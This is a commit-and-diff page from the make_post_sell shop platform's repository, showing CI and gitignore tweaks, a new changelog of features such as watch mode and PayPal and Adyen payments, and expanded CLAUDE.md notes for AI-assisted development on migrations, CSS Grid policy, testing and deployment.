- Fixed checkout page horizontal scrolling issues on mobile/desktop
- Fixed CSS specificity issues with global link styles overriding shop themes

## Documentation:
- **CLAUDE.md**: Added comprehensive database migration guide with SQLite best practices
- **CSS Requirements**: Documented CSS Grid-only layout policy
- **Migration Examples**: Added server_default examples for SQLite column additions

## Templates Modified:
- cart.j2, cart_checkout.j2, shop_settings.j2, crypto_quotes_history.j2
- All template files updated with consistent shop-theme-link-color classes
- Ribbon snippet updated with proper CSS class definitions

This update provides shop owners full control over their Stripe payment acceptance
while maintaining backwards compatibility and improving overall user experience.
 2025-10-04 10:41:20 -04:00
Russell Ballestrini
7610632f41 Update setup.py 2025-10-04 11:01:26 +00:00
Russell Ballestrini
8038f8cf08 Fix incorrect refund messaging for economically unviable payments 
- Fix history page showing "refund pending" for underpaid-not-refunded status
- Add specific condition for -not-refunded statuses before -refunded condition
- Fix email templates to not show fee messages for no-refund cases
- Economically unviable refunds now show payment details only, not refund details
- Remove misleading "no fees deducted" message from no-refund scenarios
 2025-10-03 18:48:29 -04:00
Russell Ballestrini
801cd7e595 Add dedicated CSS class for Continue shopping button 
- Created .cart-continue-shopping-button class with blue styling
- Replaced product-edit-button class with cart-continue-shopping-button
- Button now has consistent styling across desktop and mobile
 2025-10-03 18:25:32 -04:00
Russell Ballestrini
973f82ba59 Merge branch 'fix/localhost-domain-in-refund-emails' into 'master' 
Fix localhost domain issue in economically unviable refund emails

See merge request engineering/make-post-sell/make_post_sell!53
 2025-10-03 21:57:12 +00:00
Russell Ballestrini
94c6b65cd2 Fix localhost domain issue in economically unviable refund emails 
Updated economically unviable refund email notifications to use
create_shop_context_request() instead of passing env_request directly
or creating DummyRequest objects. This ensures emails are sent from
the proper shop domain instead of localhost.

Fixed in:
- Expired payment processing (line ~2147)
- Underpayment processing (line ~2911)
- Passive monitoring refund retries (line ~3290)

Note: Duplicate payment processing was already correct.
 2025-10-03 17:51:43 -04:00
Russell Ballestrini
b0dc15b06a Merge branch 'feature/economically-unviable-refund-emails' into 'master' 
Add email notifications for economically unviable refunds

See merge request engineering/make-post-sell/make_post_sell!52
 2025-10-03 20:54:16 +00:00
287 changed files with 74946 additions and 1781 deletions
Download patch file Download diff file Expand all files Collapse all files

10
.gitignore vendored
View file

@ -3,6 +3,13 @@
vars.fish
vars.sh
# GIT_HASH is rewritten by setup.py at install time via
# `git rev-parse --short HEAD`. Tracking it just produced churn:
# every feature commit was followed by a "bump GIT_HASH to X" commit
# whose value was always one commit behind HEAD (because the new
# bump commit itself shifted HEAD again). setup.py owns this file.
make_post_sell/GIT_HASH
*.egg
*.egg-info
*.pyc
@ -13,6 +20,7 @@ coverage.xml
build/
dist/
data/
data*/
src/
.tox/
nosetests.xml
@ -30,8 +38,10 @@ test
*.dkim.key
caddy
.claude
monero-wallet-cli.log
monero-wallet-rpc.log
monero-wallet-rpc.log*

14
.gitlab-ci.yml
View file

@ -24,7 +24,10 @@ build:
- cp -pr env/static static
- tar -zcf static.tar.gz static
# Clean up the directory outside of the gitlab-runner filesystem.
- rm -rf /opt/make_post_sell/env
# rm -rf can race with background processes on build runners — verify removal.
- rm -rf /opt/make_post_sell/env; for i in 1 2 3; do [ ! -d /opt/make_post_sell/env ] && break; sleep 2; rm -rf /opt/make_post_sell/env; done; [ ! -d /opt/make_post_sell/env ]
# Ensure bin/python symlink exists (Python 3.12 venv may only create python3).
- test -f env/bin/python || ln -sf python3 env/bin/python
# Clone the virtualenv with virtualenv-clone into the desired location.
- virtualenv-clone -vvv $PWD/env /opt/make_post_sell/env
# Create a tarball of the virtualenv.
@ -62,6 +65,11 @@ pypi-twine:
- python3 -m venv twine_env
- source twine_env/bin/activate
- pip install --upgrade pip
- pip install twine build
# Pin twine <6 — newer twine auto-detects GitLab CI and refuses to
# fall back to ~/.pypirc on the runner, requiring PYPI_ID_TOKEN
# (Trusted Publishing OIDC). Until we migrate to Trusted Publishing,
# stick with the classic ~/.pypirc auth on the build runner.
- pip install "twine<6" build
- python3 -m build
- twine upload dist/*
- twine check dist/*
- twine upload --non-interactive dist/*

154
CHANGELOG.rst Normal file
View file

@ -0,0 +1,154 @@
Changelog
=========
All notable changes to this project will be documented in this file.
2026-02-09
----------
DJ Crossfade
~~~~~~~~~~~~
* 7-second audio + visual crossfade starts before current video ends
* Volume ramps down on outgoing, ramps up on incoming simultaneously
* Opacity crossfade dissolves between videos during transition
* Countdown overlay shows during crossfade with Play Now / Cancel controls
* User-initiated transitions (click related item, queue) also get visual crossfade
* Falls back to standard countdown when preloaded data isn't ready or media types differ
Footer & Links
~~~~~~~~~~~~~~
* Fixed apex domain link to use ``www.makepostsell.com`` in shop footer
* Added Source Code (GitLab) and PyPI links to shop footer
2026-02-08
----------
Watch Mode v2
~~~~~~~~~~~~~
* Continuous playback with crossfade transitions between media
* Discovery ring: deterministic content traversal precomputed per shop
* Up Next sidebar with compact rows, numbered index, and queue management
* Countdown overlay (7s) as frosted-glass bottom bar between items
* Queue system: add/remove items, reorder playback
* Autoplay toggle switch inline with Up Next heading
* Two-phase preload: fast JSON fetch, then buffer media 30s before end
* Recently-played tracking: filter items from Up Next for 4 hours
* Support for video, audio, and static content (PDFs, images) with auto-advance
* Sticky video on desktop scroll (offset below ribbon)
* ``watch.js`` — new standalone JS module for all watch mode logic
Pop-out Media Player
~~~~~~~~~~~~~~~~~~~~
* Draggable pop-out window with prev/next navigation
* Keyboard shortcuts and responsive controls
* Auto-advance for images/PDFs (60s timer, reset on scroll)
* ``player.js`` — new standalone JS module
* ``/random`` and ``/tv`` endpoints for media playback
Lazy Cart Creation
~~~~~~~~~~~~~~~~~~
* Anonymous session carts are now in-memory until a product is added
* Prevents bots and crawlers from creating empty cart rows in the database
* UUID stays stable across requests via session cookie
* Transient cart guard in authentication merge flow
AJAX Comments
~~~~~~~~~~~~~
* Comment form submits via fetch when JS is available
* Preserves media playback — no page reload interrupts
* Falls back to normal POST + redirect without JS
* ``comments.js`` — new standalone JS module
Email Subscriptions
~~~~~~~~~~~~~~~~~~~
* Email digest subscriptions with configurable frequency
* @mentions in comments notify mentioned users
* RSS and Atom feed autodiscovery in ``<head>``
* Subscribe link in shop nav bar
Related Content
~~~~~~~~~~~~~~~
* Jaccard similarity for related content ranking
* Related content thumbnails in sidebar
Feeds & SEO
~~~~~~~~~~~~
* Sitemap generation (``/sitemap.xml``)
* RSS (``/rss.xml``) and Atom (``/atom.xml``) feeds
* Google site verification meta tag support
* Feeds served as ``application/xml`` for browser rendering
* Feed links open in new window
Adyen Integration
~~~~~~~~~~~~~~~~~
* Added Adyen as a payment processor
* Per-shop enable/disable toggle
* See ``docs/ADYEN.md`` for details
Stripe Improvements
~~~~~~~~~~~~~~~~~~~
* Payment tracking and webhook resilience
* Per-shop Stripe enable/disable
UI & Layout
~~~~~~~~~~~
* Sticky ribbon + logo/nav on desktop scroll
* Footer pushed to bottom of viewport on short pages
* Product media uses viewport-relative sizing (``max-height: 42vh``)
* Reduced heading font sizes for tighter layout
* Product/content dates toggle (``show_dates`` shop setting)
* Inline video playback on thumbnail click (replaced pop-up)
Infrastructure
~~~~~~~~~~~~~~
* ``/version`` endpoint with baked git hash for deploy verification
* ``GIT_HASH`` tracked in repo, baked at install time
* Removed jQuery — all vanilla JavaScript
* Replaced JS toggles with pure CSS ``<details>`` elements
* Pinned ``setuptools<81`` for Python 3.12+ compatibility
2025-12-22 (2:30 PM)
--------------------
PayPal Integration
~~~~~~~~~~~~~~~~~~
* Added PayPal as a payment processor alongside Stripe and crypto payments
* New ``PayPalUserShop`` model for saved payment methods
* Invoice model extended with ``paypal_order_id`` and ``paypal_capture_id`` columns
* Shop settings now include PayPal client ID and secret configuration
* Checkout page supports PayPal payment option when enabled
* Added PayPal saved payment methods (vault) support
* Added ``/billing/disconnect-paypal`` route for users to manage saved PayPal
* See ``docs/PAYPAL.md`` for details
CSS Grid Lanes
~~~~~~~~~~~~~~
* Added toggleable CSS Grid Lanes (masonry layout) setting per shop
* New ``grid_lanes_enabled`` column on Shop model
Video Thumbnails
~~~~~~~~~~~~~~~~
* Added play button overlay on video thumbnails for unlocked content
* Styled video play overlay with red tint and click-to-play text
Meta Tags
~~~~~~~~~
* Added Twitter card meta tags for proper link unfurling on Matrix/Discord
* Increased meta description truncation to 500 chars

747
CLAUDE.md
View file

@ -1,5 +1,66 @@
# Claude Development Notes
## Production
- Application: `https://my.makepostsell.com`
- Version check: `https://my.makepostsell.com/version`
- Prod shell: `tmux-hosts` — look for `my.makepostsell.com` (typically tmux window `0:3`) — **READ-ONLY, never deploy/fix from tmux**
- Media CDN: `plan-period-files.nyc3.cdn.digitaloceanspaces.com` (DigitalOcean Spaces)
- Deploy pipeline: `git push` → GitLab CI (test → build → deploy) → `salt-call state.highstate` on prod
- Salt states: `~/git/foxhop-states/uwsgi/` — note: MPS uses `caddy_sites.sls`, NOT `sites.sls`
- Salt pillar: `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls`
- DB path on prod: `/opt/make_post_sell/make_post_sell.sqlite` (owned by `uwsgi`, need `sudo` for writes)
- Timestamps in DB are **milliseconds** not seconds (13 digits)
- uWSGI: 2 processes, 8 threads, reload-on-rss 512MB (pillar-configurable), Caddy reverse proxy on :6001
### 🚨 NEVER Operate on Production Directly
**ABSOLUTE RULE**: ALL fixes go through CI/CD and Salt. No exceptions.
- **NEVER** SSH into prod and run `ALTER TABLE`, `sqlite3`, or any direct DB command
- **NEVER** bypass the migration system — if `alembic upgrade head` fails, fix the migration and push
- **The fix is always in the code.** Push to master → CI tests → deploy (Salt highstate or CI-direct) → Alembic runs on every instance
- Restarting services via SSH is fine for recovery, but the underlying fix must still go through code + deploy
**Why this matters**: MPS runs open source on multiple servers (makepostsell.com, memopoly.com, and any operator instance). A manual fix on one server leaves every other instance broken. The migration system exists to apply changes everywhere consistently.
**When prod has a 502**: diagnose via logs (read-only SSH is fine), fix the code, push. The deploy pipeline reaches all instances. A manual fix reaches one.
### Media Architecture
Files are NEVER streamed through uwsgi. Our server only generates presigned URLs (15 min TTL). Our client's browser/JS fetches directly from our Spaces CDN:
- **Downloads**: presigned `get_object` URLs → client fetches from CDN
- **Uploads**: presigned `post` → client uploads directly to Spaces
- **Thumbnails**: public CDN URLs with `?ts=` cache busting
**BYOB (Bring Your Own Bucket)**: Shops can configure their own S3-compatible bucket (`bucket-settings` form section). When enabled, all presigned URLs and CDN references use our shop's bucket. Always use shop-aware request methods in views and templates:
- `request.shop_uploads_client` — S3 client (shop's or MPS default)
- `request.shop_bucket_name` — bucket name (shop's or MPS default)
- `request.shop_cdn_endpoint` — CDN URL (shop's or MPS default)
**NEVER** use `request.app["bucket.secure_uploads"]`, `request.app["bucket.secure_uploads.get_endpoint"]`, or `request.secure_uploads_client` directly in views or templates. These are only used internally by `request_methods.py` as fallbacks.
### Transactional Email (lib/mail.py)
All transactional mail (OTP login codes, receipts, sale/offer notifications, gift cards, invites) sends from **one warm sending identity**: `app.email.sender` (default `no-reply@origin.makepostsell.com`, overridable via `MPS_EMAIL_SENDER`) — *not* per-shop `no-reply@<shop-domain>`. The recipient-facing name is the **shop name** when in shop context, else `app.email.from_name` (default `Make Post Sell`); `lib/mail.py:format_from_header()` builds the `From:` header. Why a single identity: operator custom-domain shops (e.g. `shop.unturf.com`) have no DKIM key MPS controls and don't authorize MPS's sending IPs in SPF, so per-domain `From:` lands in spam. `origin.makepostsell.com` is DKIM-signed by opendkim on the origin box (`d=makepostsell.com`, selector `20190727`) and SPF-authorized (`v=spf1 a a:mx1.foxhop.net -all`), and outbound is relayed through `mx1.foxhop.net` (warm IP, see `foxhop-pillar/postfix/makepostsell.sls` → `postfix_relayhost`). Reply-To / per-shop contact email is still TODO — see `docs/tickets/mps-23.md`.
### Karaoke Pipeline (lib/karaoke.py)
Disk-backed vocal isolation pipeline using spectral mid-side Wiener masking
(`voxsplit.c`, zero ML deps). Streams media to unsandbox via `POST /upload`
(64KB chunks, constant memory), executes in zerotrust container, streams
response back, uploads instrumentals + vocals to S3.
Full architecture doc: `docs/karaoke-pipeline.md` (with dot diagrams).
- **Concurrency**: `ThreadPoolExecutor` sized to account's unsandbox concurrency limit
- **Memory**: ~64KB per worker at every stage (disk-backed, not in-memory)
- **Upstream limit**: 3.698GB / 3,698,742,051 bytes per file (unsandbox `@max_upload_bytes`)
- **Retries**: 3 attempts with exponential backoff (5s, 10s)
- **Callers**: `views/product.py` (upload), `views/watch.py` (on-demand), `views/shop.py` (backfill), `scripts/backfill_karaoke.py`
- **On-demand**: `POST /karaoke/{product_id}` — forks detached child, watch.js 10s refresh detects completion, auto-switches to instrumentals
- **Streaming path**: MPS → `POST /upload` → API encrypts to disk → pool pulls via `GET /internal/upload/{id}` → pipes into container `/root/input/` — zero bytes cross Erlang distribution
## Project Setup
This project uses a Makefile for most development operations. Use `make` commands instead of running tools directly.
@ -8,7 +69,7 @@ This project uses a Makefile for most development operations. Use `make` command
### Testing
- Run tests: `make test`
- This installs development dependencies and runs the test suite with py.test
- This installs development dependencies and runs our test suite with py.test
- Tests are located in `make_post_sell/tests/`
### Installation & Setup
@ -26,6 +87,42 @@ This project uses a Makefile for most development operations. Use `make` command
- Clean up environment: `make clean`
- Activate environment: `source env/bin/activate`
### Dependencies — two-file source of truth
Runtime deps live in **two** files; they are NOT redundant.
- `requirements.py3.txt` — what `setup.py` reads for `install_requires`.
Used by `pip install .` / editable dev installs. Source-of-truth for
what `make_post_sell` declares as its deps.
- `requirements-prod.lock` — hash-pinned, full transitive closure,
generated by `make pins-lock` (uv pip compile). What CI's
`install-source-prod` actually installs into `env.tar.gz` via
`pip install --require-hashes -r requirements-prod.lock`.
**Whenever you edit `requirements.py3.txt`, you MUST run `make pins-lock`
and commit the regenerated `requirements-prod.lock` in the same PR.**
If you forget: CI tests will still pass (test stage uses the unpinned
files), and the build artifact will still publish — but the artifact's
venv will be missing whatever dep you added. The deploy to prod will
silently roll out an env without the new dep. The first runtime import
of it is where the world finds out.
Pattern that has bitten us:
1. Add `erldistpy>=0.1.6` to `requirements.py3.txt`. Tests pass.
2. Forget `make pins-lock`. CI builds env.tar.gz from the stale lock.
3. Highstate ships → `pip show erldistpy` returns empty on prod →
`ModuleNotFoundError` the moment crypto_watcher reaches for it.
Same shape for any other dep — make a habit of running `make pins-lock`
after every requirements edit, before commit.
Same trap on the CLI side: if your new module imports a stdlib-adjacent
library that's not yet pinned (e.g. someone reaches for `click`
instead of `argparse`), it triggers `ModuleNotFoundError` in CI tests
because the CI runner's env doesn't carry the transitive. Match repo
convention (stdlib `argparse` for CLIs) before adding deps.
## Code Structure
### Key Directories
@ -37,14 +134,20 @@ This project uses a Makefile for most development operations. Use `make` command
- `make_post_sell/views/cart.py` - Cart and checkout logic
- `development.ini` - Configuration file
### Design System Files
- `static/css/tokens.css` — Design tokens (colors, typography, spacing, shape, elevation, motion, z-index), base resets, utility classes, animations. Single source of truth. Light mode `:root`, dark mode `[data-theme="dark"]`.
- `static/css/common.css` — Component styles consuming tokens via `var(--token, fallback)`.
- `templates/styleguide.j2` — Live component reference at `/styleguide` (view: `views/misc.py:23`).
- `docs/design-system.md` — Full design system reference doc (token tables, architecture diagram, conventions).
## Testing Notes
The project uses pytest with unittest framework. There are three types of tests:
Our project uses pytest with unittest framework. There are three types of tests:
### Test Types
- **Unit tests** (`test_models.py`) - Test individual model methods and properties in isolation
- **Integration tests** (`test_integration.py`) - Test interactions between models and business logic
- **Functional tests** (`test_functional.py`) - End-to-end tests through the web interface
- **Functional tests** (`test_functional.py`) - End-to-end tests through our web interface
### Running Tests
**Before running tests**: Source environment variables with `source vars.sh` to set required Stripe API keys and other configuration.
@ -62,18 +165,20 @@ env/bin/py.test make_post_sell/tests/test_functional.py # Functional tests
env/bin/py.test --cov=make_post_sell.models.cart --cov-report=term-missing make_post_sell/tests/test_models.py::TestCart
```
### Current Coverage
### Current Coverage (712 tests)
- Cart model unit tests cover critical business logic like `requires_payment` threshold (64 cents)
- Integration tests verify the original AttributeError bug fix for free coupon checkout
- Functional tests provide end-to-end coverage of cart/checkout/payment flows
- Shop environment, trial, and BYOB model properties (TestShopEnvironment, TestShopTrial, TestShopBYOB)
- Gift card model unit tests (generation, validation, transactions)
- Integration tests verify free coupon checkout, gift card flows, and multi-model interactions
- Functional tests cover cart/checkout/payment, gift card settings, environment settings, bucket settings
## Database Location
The SQLite database is located at: `data/make_post_sell.sqlite`
Our SQLite database is located at: `data/make_post_sell.sqlite`
**CRITICAL WARNING**: NEVER delete or remove database files without explicit user permission. The database contains production data and cannot be easily recovered. Always ask before any destructive operations.
**CRITICAL WARNING**: NEVER delete or remove database files without explicit user permission. Our database contains production data and cannot be easily recovered. Always ask before any destructive operations.
**MANDATORY**: ALWAYS create a backup of the database before any database operations (migrations, schema changes, etc.):
**MANDATORY**: ALWAYS create a backup of our database before any database operations (migrations, schema changes, etc.):
```bash
cp data/make_post_sell.sqlite data/make_post_sell.sqlite.backup-$(date +%Y%m%d-%H%M%S)
```
@ -84,10 +189,96 @@ Query crypto payments:
SELECT * FROM mps_crypto_payment WHERE id = 'paymentuuidherewithoutdashes';
```
## Database Migrations
When making changes to database models, always create Alembic migrations:
### Creating Migrations
**CRITICAL**: ALWAYS use `make migration` to generate migration files. NEVER manually create migration files. NEVER hand-write or invent revision IDs. Alembic generates cryptographically unique revision IDs — a made-up ID like `a1b2c3d4e5f6` will corrupt the migration chain and break production deploys.
```bash
# The ONLY correct way to create a migration:
make migration m="description of change"
# → writes make_post_sell/scripts/alembic/versions/05be3044c2d2_description_of_change.py
# → revision ID is auto-generated (e.g. 05be3044c2d2), never invent one
# Apply pending migrations:
make migrate
# Check status:
make migration-status
```
If `make` is not available, the raw command is:
```bash
env/bin/alembic -c data/development.ini revision --autogenerate -m "description of change"
```
The generated file lives in `make_post_sell/scripts/alembic/versions/`. Edit it to add `_column_exists` / `_table_exists` guards (see idempotent pattern below), then commit it.
### Running Migrations
```bash
# Apply all pending migrations
alembic -c data/development.ini upgrade head
# Check current migration status
alembic -c data/development.ini current
# View migration history
alembic -c data/development.ini history
```
**IMPORTANT**: Always backup our database before running migrations!
### Important Migration Notes
**Idempotent Migrations**: `make init-db` creates all tables from models, so migrations that run afterward must not fail if tables/columns already exist. Always guard `create_table` with `_table_exists` and `add_column` with `_column_exists`:
```python
def _table_exists(name):
conn = op.get_bind()
result = conn.execute(
sa.text("SELECT name FROM sqlite_master WHERE type='table' AND name=:name"),
{"name": name},
)
return result.fetchone() is not None
def _column_exists(table, column):
conn = op.get_bind()
result = conn.execute(sa.text(f"PRAGMA table_info({table})"))
return any(row[1] == column for row in result.fetchall())
def upgrade():
if not _table_exists("mps_new_table"):
op.create_table(...)
if not _column_exists("mps_shop", "new_column"):
op.add_column(...)
```
**SQLite Column Defaults**: When adding NOT NULL columns with defaults to existing tables in SQLite, use `server_default` with raw SQL values:
```python
# Correct - uses server_default for raw SQL
op.add_column(
"mps_shop",
sa.Column("stripe_enabled", sa.Boolean(), nullable=False, server_default="1"),
)
# Wrong - default won't work with existing data
op.add_column(
"mps_shop",
sa.Column("stripe_enabled", sa.Boolean(), nullable=False, default=True),
)
```
## Cryptocurrency RPC Access
### Monero Wallet RPC
When debugging or manually testing Monero RPC calls, use digest authentication with these credentials (from Makefile):
When investigating or manually testing Monero RPC calls, use digest authentication with these credentials (from Makefile):
- Username: `test_user`
- Password: `test_pass`
- URL: `http://127.0.0.1:18083/json_rpc`
@ -108,23 +299,545 @@ Dogecoin uses basic authentication (from dogecoin.conf):
## Common Issues and Solutions
### UUID Objects
Always use `uuid_str` when you need a string copy of the identifier. Models inherit `uuid_str` property from `RBase`.
Always use `uuid_str` when you need a string copy of our identifier. Models inherit `uuid_str` property from `RBase`.
**IMPORTANT**: UUIDs are stored in the database WITHOUT dashes. When querying by ID, remove dashes from the UUID:
**IMPORTANT**: UUIDs are stored in our database WITHOUT dashes. When querying by ID, remove dashes from our UUID:
- Correct: `WHERE id = '0f92cd2a86f54dc1b98ef5c8b37bc7f8'`
- Wrong: `WHERE id = '0f92cd2a-86f5-4dc1-b98e-f5c8b37bc7f8'`
## Development Standards and Expectations
**CRITICAL WORK ETHIC**: The user pays significant money for development work and expects thorough, complete solutions. NEVER try to do the minimum or cut corners. When asked to implement features, provide comprehensive, production-ready implementations that consider all aspects of the request.
**CRITICAL WORK ETHIC**: Our user pays significant money for development work and expects thorough, complete solutions. NEVER try to do our minimum or cut corners. When asked to implement features, provide comprehensive, production-ready implementations that consider all aspects of our request.
**CSS LAYOUT REQUIREMENTS — GRID ONLY, NO FLEXBOX, NO EXCEPTIONS**:
This project uses CSS Grid exclusively for layout. **NEVER** write `display: flex`, `display: inline-flex`, `flex:`, `flex-direction`, `flex-wrap`, `justify-content: flex-*`, `align-items: flex-*`, or `flex-grow/shrink/basis`. There is no situation where flexbox is acceptable.
Grid equivalents for the patterns you'd reach for flex:
- **Centering content** (one item dead-center): `display: grid; place-items: center;` (or `display: inline-grid; place-items: center;` for inline-level buttons/badges).
- **Two items, one left one right** (`justify-content: space-between`): `display: grid; grid-template-columns: 1fr auto;` (left item in the `1fr` column, right item in `auto`).
- **Row of items, right-aligned**: don't make the container a grid — set `text-align: right` (or `text-align: end`) and let inline-level children flow/wrap naturally. Or `display: grid; grid-auto-flow: column; grid-auto-columns: max-content; justify-content: end;` if you don't need wrapping.
- **Vertical stack with last item pushed to bottom** (`margin-top: auto` in flex): `display: grid; align-content: space-between;` on the container (works when the container is taller than its content, e.g. inside a `align-items: stretch` parent grid).
- **Equal-height cells in a row**: parent `display: grid; grid-template-columns: repeat(auto-fit, minmax(Npx, 1fr)); align-items: stretch;`.
- **Icon + label header**: `display: grid; grid-template-columns: auto 1fr; align-items: center; gap: var(--space-N);`.
Note: `align-items`, `justify-items`, `align-content`, `justify-content`, `place-items`, `place-content`, `gap` are all **valid in grid context** — only the `flex-*` keyword values (`flex-start`, `flex-end`) and the `flex` shorthand / `flex-direction` / `flex-wrap` / `display: flex` are forbidden. Use `start`/`end`/`center`/`stretch`/`space-between` etc. as the values.
**SHAME LOG — 2026-05-11**: agent blackops shipped `display: inline-flex` on `.mps-button` and several edit-page components (`.edit-status-bar`, `.edit-save-bar`, `.upload-thumbnails-header`, `.edit-card-icon`, h3 headers, `.mps-button-primary`) across multiple commits before fox caught it. All converted to Grid. This rule is non-negotiable; re-read it before touching any CSS.
**DESIGN TOKENS**: All new styles must consume tokens from `tokens.css` — never hardcode colors, spacing, radii, shadows, or font sizes. Use `var(--token-name)` or `var(--token-name, fallback)`. Our token scale uses a 4px spacing base and major third (1.250) type scale.
**DARK-MODE TRAP — only reference vars that are REAL tokens.** A `var(--name, fallback)` where `--name` is **not** defined in `tokens.css` silently uses the light `fallback` in BOTH themes → looks fine in light, broken (light card / invisible text) in dark. This bit us repeatedly (wells, suggest cards, checksum table). The offenders were ad-hoc names like `--color-surface*`, `--color-border*`, `--color-text*`, `--text-color`, `--surface*` — none are tokens. **Use the real theme-aware tokens**: surfaces → `--surface-base` / `--surface-dim` / `--surface-container`; borders → `--border-light` / `--border-default` / `--border-color`; text → `--text-primary` / `--text-body` / `--text-muted` (all carry `:root` + `[data-theme="dark"]` values). Pre-commit grep gate (must be empty):
```
grep -oE 'var\(\s*--(color-(surface|border|text)[a-z0-9-]*|surface(-[a-z]+)?|text-color)\s*,' make_post_sell/static/css/common.css
```
**STYLEGUIDE**: When creating new UI components (buttons, wells, alerts, layout patterns, etc.), add a live example to `/styleguide` (`make_post_sell/templates/styleguide.j2`). Our styleguide is our single source of truth for our component library. If it's not in our styleguide, it doesn't exist as a pattern.
**CSS MEDIA SIZING**: Never combine `width: 100%` with `max-height` on media elements (img, video). `width: 100%` forces our element to span our full container even when `max-height` constrains our rendered content, creating dead whitespace. Use `width: auto` + `max-width: 100%` + `max-height` instead — our element shrinks to match our actual content aspect ratio within both constraints.
**MOBILE USABILITY**: Never use hover-only interactions (`:hover` to reveal controls, `opacity: 0` with hover reveal, etc.). Mobile/touch devices have no hover state — controls hidden behind hover are invisible and unreachable. All interactive elements (buttons, toggles, links) must be always visible and tappable. Design touch-first, then optionally enhance for desktop hover.
**SPA + NORMAL MODE**: Watch mode uses SPA navigation (`watch.js`) that swaps content without a full page reload. When adding or modifying links, buttons, forms, or any product-specific content on pages that participate in watch mode (content.j2, product.j2), you MUST ensure:
1. **Server-rendered HTML** works for our initial page load (normal mode, no-JS, crawlers)
2. **`updatePageContent()` in watch.js** updates our same element during SPA navigation
3. **Our watch JSON endpoint** (`watch.py`) returns any new data our JS needs
Elements that must stay in sync: CTA edit button, download button, comment form `product_id`, file type/size, description, title, canonical link, related items, comments link count. If you add a new product-specific element, add it to all three layers.
**TESTING INTEGRITY**: NEVER skip, delete, or disable unit tests or integration tests when they break. When tests fail:
1. **FIX THE TESTS** - Update them to work with new functionality
2. **FIX THE CODE** - If the tests reveal actual bugs, fix the underlying issue
1. **FIX OUR TESTS** - Update them to work with new functionality
2. **FIX OUR CODE** - If our tests reveal actual defects, fix our underlying issue
3. **ADD MORE TESTS** - Ensure new functionality is properly covered
Disabling or removing tests weakens the codebase and is unacceptable. Tests are critical safety nets that prevent regressions.
Disabling or removing tests weakens our codebase and is unacceptable. Tests are critical safety nets that prevent regressions.
**MANDATORY TEST COVERAGE**: Every new feature, model property, view handler, or form section MUST have tests across all three layers:
- **Unit tests** (`test_models.py`) — Test new model properties, methods, and business logic in isolation using `mock.patch`. No DB required.
- **Integration tests** (`test_integration.py`) — Test interactions between models, especially multi-model workflows (e.g., cart + coupon + gift card).
- **Functional tests** (`test_functional.py`) — Test through our web interface using `webtest.TestApp`. Cover settings form POSTs, page loads, flash messages, and DB state changes.
If a feature touches all three layers (model + view + template), it needs tests in all three files. No exceptions. Untested code is incomplete code.
**AUTO-PUSH**: Commit and push when our work is done — no need to ask fox. If tests were written, they must pass first. If no tests are required (defect fix, config, docs), push immediately after committing. 🔥 == 🔥 — remove all friction.
**DO NOT bump `make_post_sell/GIT_HASH`.** The file is gitignored. `setup.py` rewrites it at install time via `git rev-parse --short HEAD`, so the deployed `/version` hash is always the real HEAD. Manually committing a bumped value just produced churn — each bump's recorded value was one commit behind the actual HEAD it was bumping toward.
## Post-Work Chores
After completing a feature or significant change, always perform these chores before considering our work done:
1. **Tests** — Write unit tests (`test_models.py`), integration tests (`test_integration.py`), and functional tests (`test_functional.py`) covering our new code paths. All three layers are required for new features.
2. **Docs** — Update `docs/architecture.md` (feature toggle matrix, ticket index, diagrams) and `docs/design-system.md` (new components/sections) to reflect our change.
3. **Portal** — Update our marketing site at `~/git/www.makepostsell.com` (feature cards in `index.html`, includes list in `pricing.html`) when a user-facing feature is added.
4. **CLAUDE.md** — Update this file if our change introduces new patterns, form sections, model columns, or conventions that future work needs to know about.
5. **Commit & push** — Per AUTO-PUSH, commit and push when done. No friction. (Do **not** bump GIT_HASH — setup.py handles it at install time.)
## Commit Message Guidelines
**CRITICAL**: Do not include Claude Code attribution in commit messages. Attributing human work to Claude is inappropriate and misrepresents the actual authorship of the code. All code changes should be attributed to the human developer who reviewed, approved, and committed the work.
**CRITICAL**: Do not include Claude Code attribution in commit messages. Attributing human work to Claude is inappropriate and misrepresents our actual authorship of our code. All code changes should be attributed to our human developer who reviewed, approved, and committed our work.
## Ticket Scoping — One Feature, One Ticket
**Prefer one ticket that fully scopes a feature** over splitting it into `MPS-N`, `MPS-N+1`, `MPS-N+2` phase tickets. Phases inside a single ticket are fine — they let us land work incrementally — but they live in **one document** with **one ticket number**.
Spawn a new ticket only when:
- A "next phase" is a genuinely separate feature with different goals or stakeholders
- A "next phase" is gated on something external (a vendor decision, another team's work)
- A "next phase" has uncertain priority and may never ship
**Why**: splitting one feature across `MPS-24` / `MPS-25` / `MPS-26` fragments commit history, multiplies status pages, and forces a future reader to re-stitch three documents to understand one change. One ticket, with `### Phase 1` / `### Phase 2` headings inside it, is our default. Multiple tickets is our exception, not our pattern.
When in doubt: write it as one ticket. If it grows past ~400 lines or the phases truly drift in goal, split it then — not pre-emptively.
## Capability-Driven Presentation
Follow Russell Ballestrini's capability-driven presentation practice
(russell.ballestrini.net/capability-driven-presentation/). A page need not look
identical across all browsers. Accommodate what our user's browser can do:
1. **Single canonical URI** — one URL serves our content.
2. **Consistent content** — regardless of viewer capabilities.
3. **Graceful enhancement/degradation** — use available capabilities to enhance presentation.
### Our `js-only` / `<noscript>` pattern
```html
<noscript>
<style>.js-only {display: none;}</style>
</noscript>
```
Apply our `js-only` class to any element that requires JavaScript to function.
When JS is unavailable, these elements hide automatically — our user never sees
a broken control.
### AJAX form submission
Comment forms use progressive enhancement: our form works as a normal POST +
redirect without JS. When JS is available, `comments.js` intercepts our submit,
sends via `fetch()` with `X-Requested-With: XMLHttpRequest`, and inserts our
new comment into our DOM without a page reload (preserving media playback).
Our server returns JSON (HTTP 201) for AJAX requests and falls back to our
normal redirect flow on any error.
## Static Asset Cache-Busting (MANDATORY)
**Every `<script src="/static/...">` and `<link href="/static/...">` MUST
end with `?v={{ request.git_hash }}`.** `routes.py` serves `/static` with
`cache_max_age=3600`, so an un-versioned asset is cached by the browser
for up to an hour — meaning a deploy that changes that JS/CSS is
**invisible to users for up to an hour**. This manifests as "the new
feature doesn't work / the SPA still full-reloads" even though the deploy
landed and server-side tests pass (tests have no browser cache). This was
the root cause of the entire MPS-24 tag-SPA debugging saga (5+ deploys).
`request.git_hash` is a reified request method that shifts every deploy →
URL changes → fresh fetch, no hard-refresh ever needed. Gate before
commit (must be empty):
```
grep -rnE '<script src="/static/js/[^"?]+\.js"' make_post_sell/templates/
```
## CI/CD Notes
- Build uses `virtualenv-clone` which requires `bin/python` symlink (Python 3.12 `venv` may only create `python3`)
